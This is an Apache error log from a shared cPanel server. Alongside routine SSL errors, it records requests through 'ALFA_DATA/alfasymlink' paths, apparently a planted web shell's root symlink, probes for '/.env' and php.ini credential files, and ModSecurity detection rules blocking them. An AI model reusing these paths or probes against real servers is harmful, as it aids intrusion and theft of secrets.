[Tue Oct 27 02:41:50.983732 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 34.231.181.240:17625] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:41:54.975662 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 34.192.67.98:57370] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:41:59.505480 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 18.209.201.119:57903] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:42:31.173440 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 52.4.238.8:50332] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:42:43.527181 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 34.225.138.57:16108] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:42:46.297493 2026] [authz_core:error] [pid 3184472:tid 3184472] [client 20.53.239.152:4450] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 02:42:51.313881 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 3.93.98.99:62693] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:42:54.343654 2026] [cgi:error] [pid 3184472:tid 3184472] [client 20.53.239.152:4450] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Tue Oct 27 02:42:55.331905 2026] [core:error] [pid 3184470:tid 3184470] (13)Permission denied: [client 34.234.200.207:50044] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory0/subsystem/devices/memory4/node0/cpu1/crash_notes_size
[Tue Oct 27 02:42:59.298298 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 98.83.178.66:34758] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:43:03.431047 2026] [core:error] [pid 3157820:tid 3157820] (13)Permission denied: [client 52.205.113.104:34457] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node1/driver/serio0/driver/unbind
[Tue Oct 27 02:43:07.588421 2026] [authz_core:error] [pid 3175289:tid 3175289] [client 45.138.12.43:53558] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 02:43:09.386719 2026] [authz_core:error] [pid 3175289:tid 3175289] [client 45.138.12.43:53558] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 02:43:10.708278 2026] [authz_core:error] [pid 3174426:tid 3174426] [client 45.138.12.43:9098] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 02:43:11.356644 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 3.221.244.28:63429] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:43:12.725103 2026] [authz_core:error] [pid 3174426:tid 3174426] [client 45.138.12.43:9098] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 02:43:19.903271 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 34.239.85.139:21441] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:43:27.425024 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 18.213.27.222:43063] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:43:31.478881 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 52.2.83.227:43557] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:43:39.425272 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.208.146.193:56807] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:43:43.442722 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 3.230.224.6:58046] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:43:47.462336 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 34.225.243.131:42281] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:43:51.642252 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 35.169.240.53:14917] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:44:03.836295 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 18.214.251.19:24749] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:44:11.995730 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 52.54.15.103:64858] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/memory17/node0/cpu1/subsystem/devices/cpu0/crash_notes
[Tue Oct 27 02:44:19.590455 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 23.22.105.143:45503] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:44:23.581521 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 34.231.45.47:36811] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:44:23.619990 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 85.208.96.203:22492] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:44:27.600047 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 18.208.11.93:38313] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty5/subsystem/tty14/subsystem/ttyS1/io_type
[Tue Oct 27 02:44:31.738956 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 52.45.194.165:18416] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:44:35.978629 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 18.213.240.226:19043] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:44:46.168891 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 85.208.96.203:33734] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:44:47.294182 2026] [core:error] [pid 3174286:tid 3174286] (13)Permission denied: [client 185.191.171.14:11940] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/alloc_calls
[Tue Oct 27 02:44:47.826689 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 3.215.221.125:1671] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:44:55.888473 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 23.21.179.120:30172] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:45:04.593865 2026] [security2:error] [pid 3157820:tid 3157820] [client 43.152.72.244:48130] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimox2.php"] [unique_id "auBIcHEUzec1h8JdAIG7QgAAAA4"]
[Tue Oct 27 02:45:06.692734 2026] [security2:error] [pid 3175284:tid 3175284] [client 179.58.172.182:53604] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/maian/php81/upgrade.php"] [unique_id "auBIckQFomyjz0g-y4eM8QAAAAo"]
[Tue Oct 27 02:45:06.692807 2026] [security2:error] [pid 3175284:tid 3175284] [client 179.58.172.182:53604] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/maian/php81/upgrade.php"] [unique_id "auBIckQFomyjz0g-y4eM8QAAAAo"]
[Tue Oct 27 02:45:11.812340 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 50.16.248.61:35999] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:45:15.827885 2026] [core:error] [pid 3184470:tid 3184470] (13)Permission denied: [client 44.212.106.171:61289] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/PNP0C0F:03/subsystem/uevent
[Tue Oct 27 02:45:19.754478 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 3.223.134.5:8507] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:04/physical_node/resource4_wc
[Tue Oct 27 02:45:31.153755 2026] [core:error] [pid 3184470:tid 3184470] (13)Permission denied: [client 185.191.171.5:44900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_ext_cache/cache_dma
[Tue Oct 27 02:45:32.218892 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.80.73.122:58896] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:45:39.919828 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 3.213.106.226:59244] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:45:47.653510 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 23.21.148.226:43178] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:45:51.736228 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 44.194.134.53:56717] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:45:55.952210 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 18.209.137.234:18747] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:46:04.030783 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 54.84.169.196:15817] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:46:11.666628 2026] [security2:error] [pid 3175289:tid 3175289] [client 52.203.68.145:32943] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory5/node0/cpu1/firmware_node/"] [unique_id "auBIs3Ap5o-kytosSOFIDgAAABU"]
[Tue Oct 27 02:46:11.666684 2026] [security2:error] [pid 3175289:tid 3175289] [client 52.203.68.145:32943] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory5/node0/cpu1/firmware_node/"] [unique_id "auBIs3Ap5o-kytosSOFIDgAAABU"]
[Tue Oct 27 02:46:15.924633 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 3.94.157.25:20066] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:46:24.008340 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 34.236.185.101:44660] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:46:27.854382 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 100.29.160.53:20516] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:46:35.670446 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.212.219.113:33966] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:46:39.732958 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 54.85.126.86:41904] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:46:43.858902 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 52.71.46.142:22519] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:46:52.787213 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 3.221.244.28:30777] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:47:07.838286 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 44.212.131.50:37685] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:47:11.708081 2026] [core:error] [pid 3184470:tid 3184470] (13)Permission denied: [client 52.7.13.143:23347] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory16/node0/cpu1/firmware_node/eject
[Tue Oct 27 02:47:15.739442 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 34.238.45.183:60288] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:47:20.118610 2026] [ssl:error] [pid 3184472:tid 3184472] (5)Input/output error: [client 184.72.95.195:53101] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:47:20.902077 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 185.191.171.18:44464] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:47:23.847800 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.200.58.199:18837] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:47:31.702310 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 34.205.163.103:48209] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:47:35.653092 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 3.216.86.144:50428] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:47:37.234606 2026] [authz_core:error] [pid 3184472:tid 3184472] [client 195.178.110.102:28276] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 02:47:37.324543 2026] [authz_core:error] [pid 3175289:tid 3175289] [client 195.178.110.102:28284] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 02:47:37.740927 2026] [authz_core:error] [pid 3184471:tid 3184471] [client 195.178.110.102:28292] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 02:47:37.769322 2026] [authz_core:error] [pid 3169915:tid 3169915] [client 195.178.110.102:28290] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 02:47:51.706045 2026] [security2:error] [pid 3184472:tid 3184472] [client 54.164.106.236:40646] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/subsystem/slots/16/module/parameters/"] [unique_id "auBJFyoaxgN9H0AE4f1uNAAAAAM"]
[Tue Oct 27 02:47:51.706101 2026] [security2:error] [pid 3184472:tid 3184472] [client 54.164.106.236:40646] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/subsystem/slots/16/module/parameters/"] [unique_id "auBJFyoaxgN9H0AE4f1uNAAAAAM"]
[Tue Oct 27 02:48:03.986424 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 44.196.118.6:55978] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:48:11.957505 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 54.204.62.163:36052] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:05/physical_node/firmware_node/eject
[Tue Oct 27 02:48:24.026930 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 52.3.127.170:47677] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:48:35.665686 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 34.231.181.240:62570] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:48:51.870760 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 34.225.243.131:40322] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:48:57.529702 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 54.84.147.79:30617] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:48:59.756370 2026] [core:error] [pid 3157820:tid 3157820] (13)Permission denied: [client 185.191.171.18:33094] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/objects
[Tue Oct 27 02:49:12.143374 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 52.202.52.82:8471] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:49:15.157622 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 185.191.171.5:24804] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/objects_partial
[Tue Oct 27 02:49:23.914530 2026] [core:error] [pid 3184471:tid 3184471] (13)Permission denied: [client 44.210.204.255:21689] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty4/subsystem/ttyS2/device/driver/unbind
[Tue Oct 27 02:49:27.748578 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 100.28.49.152:25503] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:50:04.983435 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.197.82.195:47930] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:50:07.829709 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 184.73.195.18:16211] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:50:15.892473 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 54.84.250.51:36538] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:50:19.998518 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 18.232.36.1:48999] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:50:27.902373 2026] [core:error] [pid 3184471:tid 3184471] (13)Permission denied: [client 54.166.104.83:23860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/input4/event2/subsystem/input1/device/firmware_node/physical_node/driver/uevent
[Tue Oct 27 02:50:36.286425 2026] [security2:error] [pid 3184575:tid 3184575] [client 130.12.180.171:41018] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "casarin2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBJvHCsn1NVv0VfikkFgwAAAAQ"]
[Tue Oct 27 02:50:36.286675 2026] [security2:error] [pid 3184575:tid 3184575] [client 130.12.180.171:41018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "casarin2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBJvHCsn1NVv0VfikkFgwAAAAQ"]
[Tue Oct 27 02:50:36.286954 2026] [security2:error] [pid 3184575:tid 3184575] [client 130.12.180.171:41018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "casarin2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBJvHCsn1NVv0VfikkFgwAAAAQ"]
[Tue Oct 27 02:50:39.755334 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 35.174.141.243:29637] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:50:47.696935 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 54.91.122.193:62880] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:50:55.814365 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 18.213.27.222:39782] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:51:08.799693 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 54.225.199.17:55685] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:51:19.688210 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 52.6.97.88:6654] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:51:23.920513 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 44.194.134.53:9686] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:51:40.051013 2026] [core:error] [pid 3174286:tid 3174286] (13)Permission denied: [client 85.208.96.207:33694] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/slab_size
[Tue Oct 27 02:51:41.570632 2026] [authz_core:error] [pid 3184575:tid 3184575] [client 74.7.227.63:42776] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: http://www.linksnatcher.art
[Tue Oct 27 02:51:43.765243 2026] [ssl:error] [pid 3174426:tid 3174426] (5)Input/output error: [client 54.145.82.217:36487] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:51:44.541283 2026] [authz_core:error] [pid 3184575:tid 3184575] [client 74.7.227.63:42776] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: http://curso-de-ventas.com/
[Tue Oct 27 02:51:47.225292 2026] [authz_core:error] [pid 3184575:tid 3184575] [client 74.7.227.63:42776] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: http://curso-de-ventas.com/
[Tue Oct 27 02:51:49.618751 2026] [authz_core:error] [pid 3184575:tid 3184575] [client 74.7.227.63:42776] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: http://curso-de-ventas.com/
[Tue Oct 27 02:51:51.804751 2026] [authz_core:error] [pid 3184575:tid 3184575] [client 74.7.227.63:42776] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: http://curso-de-ventas.com/
[Tue Oct 27 02:51:51.959322 2026] [ssl:error] [pid 3157820:tid 3157820] (5)Input/output error: [client 3.225.45.252:48603] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:51:53.772366 2026] [authz_core:error] [pid 3184575:tid 3184575] [client 74.7.227.63:42776] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: http://curso-de-ventas.com/?C=M;O=A
[Tue Oct 27 02:51:55.545765 2026] [authz_core:error] [pid 3184575:tid 3184575] [client 74.7.227.63:42776] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: http://curso-de-ventas.com/?C=M;O=A
[Tue Oct 27 02:51:55.546849 2026] [security2:error] [pid 3184575:tid 3184575] [client 74.7.227.63:42776] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "auBKC3Csn1NVv0VfikkFjAAAAAQ"], referer: http://curso-de-ventas.com/?C=M;O=A
[Tue Oct 27 02:51:55.546885 2026] [security2:error] [pid 3184575:tid 3184575] [client 74.7.227.63:42776] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "auBKC3Csn1NVv0VfikkFjAAAAAQ"], referer: http://curso-de-ventas.com/?C=M;O=A
[Tue Oct 27 02:51:55.938194 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 18.209.137.234:51048] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:51:57.139025 2026] [authz_core:error] [pid 3184575:tid 3184575] [client 74.7.227.63:42776] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: http://curso-de-ventas.com/?C=D;O=A
[Tue Oct 27 02:51:58.630775 2026] [authz_core:error] [pid 3184575:tid 3184575] [client 74.7.227.63:42776] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: http://curso-de-ventas.com/?C=S;O=A
[Tue Oct 27 02:52:28.365063 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 54.166.126.132:8264] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:52:28.842360 2026] [security2:error] [pid 3157820:tid 3157820] [client 130.12.180.175:40414] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "farma1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBKLHEUzec1h8JdAIG7UgAAAA4"]
[Tue Oct 27 02:52:28.842709 2026] [security2:error] [pid 3157820:tid 3157820] [client 130.12.180.175:40414] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "farma1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBKLHEUzec1h8JdAIG7UgAAAA4"]
[Tue Oct 27 02:52:28.843040 2026] [security2:error] [pid 3157820:tid 3157820] [client 130.12.180.175:40414] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "farma1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBKLHEUzec1h8JdAIG7UgAAAA4"]
[Tue Oct 27 02:52:28.867090 2026] [security2:error] [pid 3175284:tid 3175284] [client 130.12.180.167:53710] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "farma2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBKLEQFomyjz0g-y4eNCAAAAAo"]
